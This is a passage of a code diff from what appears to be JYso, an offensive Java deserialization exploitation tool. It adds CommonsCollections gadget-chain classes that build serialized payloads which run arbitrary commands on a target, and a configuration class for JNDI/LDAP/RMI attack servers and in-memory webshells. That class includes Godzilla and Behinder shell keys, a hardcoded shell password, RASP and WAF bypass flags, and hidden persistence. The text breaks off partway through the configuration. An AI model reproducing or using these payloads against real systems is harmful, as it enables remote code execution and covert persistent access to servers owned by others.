||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||
|
||||
return handler;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||
import org.apache.commons.collections4.Transformer;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections4.functors.InstantiateTransformer;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.util.PriorityQueue;
|
||||
import java.util.Queue;
|
||||
|
||||
|
||||
/**
|
||||
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
|
||||
* InvokerTransformer.
|
||||
*/
|
||||
|
||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
|
||||
|
||||
public Queue<Object> getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
ConstantTransformer constant = new ConstantTransformer(String.class);
|
||||
|
||||
// mock method name until armed
|
||||
Class[] paramTypes = new Class[]{String.class};
|
||||
Object[] args = new Object[]{Utils.generateRandomString(4)};
|
||||
InstantiateTransformer instantiate = new InstantiateTransformer(
|
||||
paramTypes, args);
|
||||
|
||||
// grab defensively copied arrays
|
||||
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
|
||||
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
|
||||
|
||||
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate});
|
||||
|
||||
// create queue with numbers
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
|
||||
queue.add(1);
|
||||
queue.add(1);
|
||||
|
||||
// swap in values to arm
|
||||
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
|
||||
paramTypes[0] = Templates.class;
|
||||
args[0] = templates;
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* BadAttributeValueExpException.readObject()
|
||||
* TiedMapEntry.toString()
|
||||
* LazyMap.get()
|
||||
* ChainedTransformer.transform()
|
||||
* ConstantTransformer.transform()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Class.getMethod()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Runtime.getRuntime()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Runtime.exec()
|
||||
* <p>
|
||||
* Requires:
|
||||
* commons-collections
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unused"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.MATTHIASKAISER, Authors.JASINNER})
|
||||
public class CommonsCollections5 implements ObjectPayload<BadAttributeValueExpException> {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isBadAttrValExcReadObj();
|
||||
}
|
||||
|
||||
public BadAttributeValueExpException getObject(String command) throws Exception {
|
||||
|
||||
// inert chain for setup
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{new ConstantTransformer(1)});
|
||||
// real chain for after setup
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(val, "val", entry);
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||
|
||||
return val;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* java.io.ObjectInputStream.readObject()
|
||||
* java.util.HashSet.readObject()
|
||||
* java.util.HashMap.put()
|
||||
* java.util.HashMap.hash()
|
||||
* org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
|
||||
* org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
|
||||
* org.apache.commons.collections.map.LazyMap.get()
|
||||
* org.apache.commons.collections.functors.ChainedTransformer.transform()
|
||||
* org.apache.commons.collections.functors.InvokerTransformer.transform()
|
||||
* java.lang.reflect.Method.invoke()
|
||||
* java.lang.Runtime.exec()
|
||||
* <p>
|
||||
* by @matthias_kaiser
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class CommonsCollections6 implements ObjectPayload<Serializable> {
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("QI4L");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if (node == null) {
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField = null;
|
||||
try {
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
} catch (Exception e) {
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
|
||||
|
||||
public class CommonsCollections7 implements ObjectPayload<Hashtable> {
|
||||
|
||||
public Hashtable getObject(String command) throws Exception {
|
||||
|
||||
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
|
||||
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
Map innerMap1 = new HashMap();
|
||||
Map innerMap2 = new HashMap();
|
||||
|
||||
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
|
||||
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
|
||||
lazyMap1.put("yy", 1);
|
||||
|
||||
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
|
||||
lazyMap2.put("zZ", 1);
|
||||
|
||||
// Use the colliding Maps as keys in Hashtable
|
||||
Hashtable hashtable = new Hashtable();
|
||||
hashtable.put(lazyMap1, 1);
|
||||
hashtable.put(lazyMap2, 2);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
|
||||
// Needed to ensure hash collision after previous manipulations
|
||||
lazyMap2.remove("yy");
|
||||
|
||||
return hashtable;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections4.Transformer;
|
||||
import org.apache.commons.collections4.bag.TreeBag;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
|
||||
import java.util.Comparator;
|
||||
|
||||
|
||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||
@Authors({"navalorenzo"})
|
||||
|
||||
public class CommonsCollections8 implements ObjectPayload<TreeBag> {
|
||||
|
||||
|
||||
public TreeBag getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
TransformingComparator comp = new TransformingComparator((Transformer) transformer);
|
||||
TreeBag tree = new TreeBag((Comparator) comp);
|
||||
tree.add(templates);
|
||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||
return tree;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.DefaultedMap;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
@Authors({"梅子酒"})
|
||||
|
||||
public class CommonsCollections9 implements ObjectPayload<BadAttributeValueExpException> {
|
||||
|
||||
public BadAttributeValueExpException getObject(String command) throws Exception {
|
||||
String[] execArgs = {command};
|
||||
Class c = (execArgs.length > 1) ? String[].class : String.class;
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{(Transformer) new ConstantTransformer(Integer.valueOf(1))});
|
||||
Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
Map<Object, Object> innerMap = new HashMap<Object, Object>();
|
||||
Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer);
|
||||
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(val, "val", entry);
|
||||
Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers);
|
||||
return val;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* HashMap
|
||||
* TiedMapEntry.hashCode
|
||||
* TiedMapEntry.getValue
|
||||
* LazyMap.decorate
|
||||
* InvokerTransformer
|
||||
* templates...
|
||||
*/
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
public class CommonsCollectionsK1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
HashMap<String, String> innerMap = new HashMap<String, String>();
|
||||
Map m = LazyMap.decorate(innerMap, transformer);
|
||||
Map outerMap = new HashMap();
|
||||
TiedMapEntry tied = new TiedMapEntry(m, templates);
|
||||
outerMap.put(tied, "t");
|
||||
// clear the inner map data, this is important
|
||||
innerMap.clear();
|
||||
|
||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||
|
||||
return outerMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections4.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:4.0"})
|
||||
public class CommonsCollectionsK2 implements ReleaseableObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
HashMap<String, String> innerMap = new HashMap<String, String>();
|
||||
Map m = LazyMap.lazyMap(innerMap, transformer);
|
||||
Map outerMap = new HashMap();
|
||||
TiedMapEntry tied = new TiedMapEntry(m, templates);
|
||||
outerMap.put(tied, "t");
|
||||
// clear the inner map data, this is important
|
||||
innerMap.clear();
|
||||
|
||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||
|
||||
return outerMap;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void release(Object obj) throws Exception {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class CommonsCollectionsK3 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
||||
Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
||||
Map innerMap = new HashMap();
|
||||
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
|
||||
Map expMap = new HashMap();
|
||||
expMap.put(tme, "QI5L");
|
||||
outerMap.remove("QI4L");
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections4.Transformer;
|
||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections4.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:4.0"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class CommonsCollectionsK4 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
||||
final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
|
||||
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
||||
Map innerMap = new HashMap();
|
||||
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
|
||||
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
|
||||
Map expMap = new HashMap();
|
||||
expMap.put(tme, "QI4L");
|
||||
outerMap.remove("QI4L");
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections4.Transformer;
|
||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections4.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:4.0"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsCollectionsK5 implements ObjectPayload<Hashtable> {
|
||||
|
||||
public Hashtable getObject(String command) throws Exception {
|
||||
|
||||
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
|
||||
final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
|
||||
Map innerMap1 = new HashMap();
|
||||
Map innerMap2 = new HashMap();
|
||||
|
||||
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
|
||||
Map lazyMap1 = LazyMap.lazyMap(innerMap1, transformerChain);
|
||||
lazyMap1.put("yy", 1);
|
||||
|
||||
Map lazyMap2 = LazyMap.lazyMap(innerMap2, transformerChain);
|
||||
lazyMap2.put("zZ", 1);
|
||||
|
||||
// Use the colliding Maps as keys in Hashtable
|
||||
Hashtable hashtable = new Hashtable();
|
||||
hashtable.put(lazyMap1, 1);
|
||||
hashtable.put(lazyMap2, 2);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
|
||||
// Needed to ensure hash collision after previous manipulations
|
||||
lazyMap2.remove("yy");
|
||||
|
||||
return hashtable;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections4.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:4.0"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsCollectionsK6 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
|
||||
HashMap<Object, Object> map = new HashMap<>();
|
||||
Map<Object, Object> lazyMap = LazyMap.lazyMap(map, new ConstantTransformer(1));
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
|
||||
|
||||
HashMap<Object, Object> expMap = new HashMap<>();
|
||||
expMap.put(tiedMapEntry, "QI4L");
|
||||
lazyMap.remove(templates);
|
||||
|
||||
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
|
||||
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,253 @@
|
||||
package com.qi4l.JYso.gadgets.Config;
|
||||
|
||||
import com.beust.jcommander.JCommander;
|
||||
import com.beust.jcommander.Parameter;
|
||||
import com.beust.jcommander.UnixStyleUsageFormatter;
|
||||
import com.qi4l.JYso.Starter;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||
import javassist.ClassPool;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
public class Config {
|
||||
public static String codeBase;
|
||||
|
||||
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
|
||||
public static String ip = "0.0.0.0";
|
||||
|
||||
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
|
||||
public static int ldapPort = 1389;
|
||||
|
||||
@Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2)
|
||||
public static int ldapsPort = 1669;
|
||||
|
||||
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
|
||||
public static int rmiPort = 1099;
|
||||
|
||||
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
|
||||
public static int httpPort = 3456;
|
||||
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
|
||||
public static String command = "whoami";
|
||||
@Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5)
|
||||
public static boolean showVersion;
|
||||
@Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5)
|
||||
public static boolean showGadgets;
|
||||
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
|
||||
public static String AESkey = "123";
|
||||
@Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
|
||||
public static String USER = "";
|
||||
@Parameter(names = {"-tP", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5)
|
||||
public static boolean TLSProxy = false;
|
||||
@Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
|
||||
public static String PASSWD = "";
|
||||
@Parameter(names = {"-kF", " --keyFile"}, help = true, description = "Path to the TLS private key file", order = 5)
|
||||
public static String keyFile = "";
|
||||
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "Path to the TLS certificate file", order = 5)
|
||||
public static String certFile = "";
|
||||
|
||||
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
|
||||
public static boolean jndi = false;
|
||||
public static String rhost;
|
||||
public static String rport;
|
||||
// 从HTTP外部获取路由值
|
||||
public static String ROUTE = "";
|
||||
// 从HTTP外部获取参数值
|
||||
public static String BCEL1 = "";
|
||||
// 恶意类是否继承 AbstractTranslet
|
||||
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
|
||||
//是否使用反射绕过RASP
|
||||
public static Boolean IS_OBSCURE = false;
|
||||
// 各种方式的内存马映射的路径
|
||||
public static String URL_PATTERN = "/qi4l";
|
||||
// 是否使用落地文件的方式隐藏内存马
|
||||
public static Boolean HIDE_MEMORY_SHELL = false;
|
||||
// 是否生成内存马文件
|
||||
public static Boolean GEN_MEM_SHELL = false;
|
||||
// 内存马文件名
|
||||
public static String GEN_MEM_SHELL_FILENAME = "";
|
||||
// 落地文件姿势,1 charsets.jar 2 classes
|
||||
public static int HIDE_MEMORY_SHELL_TYPE = 0;
|
||||
// 内存马的密码MD5
|
||||
public static String PASSWORD = "0f359740bd1cda99";
|
||||
// Referer 校验
|
||||
public static String HEADER_KEY = "Referer";
|
||||
// 用于额外校验的 Http Header 值,默认值 https://QI4L.cn/
|
||||
public static String HEADER_VALUE = "https://QI4L.cn/";
|
||||
// 哥斯拉的 key,默认是 key
|
||||
public static String GODZILLA_KEY = "3c6e0b8a9c15224a";
|
||||
// 密码原文
|
||||
public static String PASSWORD_ORI = "p@ssw0rd";
|
||||
// 命令执行回显时,传递执行命令的 Header 头
|
||||
public static String CMD_HEADER_STRING = "X-Token-Data";
|
||||
//内存马的类型
|
||||
public static String Shell_Type = "bx";
|
||||
//是否使用windows下Agent写入
|
||||
public static Boolean winAgent = false;
|
||||
//是否使用Linux下Agent写入
|
||||
public static Boolean linAgent = false;
|
||||
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
|
||||
public static Boolean IS_DIRTY_IN_TC_RESET = false;
|
||||
public static Boolean IS_UTF_Bypass = false;
|
||||
public static Boolean IS_Hessian1 = false;
|
||||
public static Boolean IS_Hessian2 = false;
|
||||
public static Boolean IS_Xstream = false;
|
||||
public static Boolean IS_Kryo = false;
|
||||
public static Boolean IS_JYAML = false;
|
||||
public static Boolean IS_JsonIO = false;
|
||||
public static Boolean IS_YamlBeans = false;
|
||||
public static Boolean IS_Castor = false;
|
||||
public static Boolean IS_Jackson = false;
|
||||
// 填充的脏数据长度
|
||||
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
|
||||
|
||||
// 是否使用UTF-8 Overlong Encoding Bypass waf
|
||||
// jboss
|
||||
public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false;
|
||||
// DefineClassFromParameter 的路径
|
||||
public static String PARAMETER = "dc";
|
||||
// 将输入直接写在文件里
|
||||
public static String FILE = "out.ser";
|
||||
public static Boolean WRITE_FILE = false;
|
||||
public static Boolean BASE64 = false;
|
||||
// 是否强制使用 org.apache.XXX.TemplatesImpl
|
||||
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
|
||||
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
|
||||
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
|
||||
// ScriptEngineManager 是否为 RHINO 引擎
|
||||
public static boolean USING_RHINO = false;
|
||||
public static ClassPool POOL = ClassPool.getDefault();
|
||||
// 不同类型内存马的父类/接口与其关键参数的映射
|
||||
public static HashMap<String, String> KEY_METHOD_MAP = new HashMap<>();
|
||||
@Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
|
||||
private static boolean help = false;
|
||||
|
||||
static {
|
||||
// Servlet 型内存马,关键方法 service
|
||||
KEY_METHOD_MAP.put("javax.servlet.Servlet", "service");
|
||||
